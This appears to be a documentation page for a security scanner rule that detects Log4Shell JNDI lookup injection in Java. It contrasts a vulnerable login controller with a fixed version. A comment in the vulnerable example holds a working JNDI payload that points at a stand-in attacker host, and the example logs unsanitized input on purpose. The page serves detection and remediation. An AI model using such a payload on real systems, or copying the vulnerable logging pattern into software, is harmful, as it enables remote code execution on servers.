Zennoxa Shield
Rules / Java
SHIELD-JAVA-018

Log4Shell JNDI Lookup Injection

criticalJavaCWE-917CVSS 10

What it detects

A jndi lookup pattern in logged data can trigger remote code execution via Log4j.

How to fix

Upgrade Log4j and disable message lookups; never log unsanitized user input.

Vulnerable — Shield flags thisLoginController.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LoginController {
    private static final Logger log = LogManager.getLogger(LoginController.class);

    public void onLoginFailure(String username) {
        // log4j-core 2.14 resolves lookups: username = "${jndi:ldap://attacker.example/a}"
        log.info("Failed login for " + username);
    }
}
Fixed — scans cleanLoginController.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LoginController {
    private static final Logger log = LogManager.getLogger(LoginController.class);

    public void onLoginFailure(String username) {
        // log4j-core >= 2.17.1 (JndiLookup removed) + parameterized logging.
        log.info("Failed login for {}", username);
    }
}

Both snippets are verified against the shipped scanner: the vulnerable one triggers SHIELD-JAVA-018, the fixed one does not.

Scan your repo freeFull documentation
Back to all rules
SHIELD-JAVA-018: Log4Shell JNDI Lookup Injection — Zennoxa Shield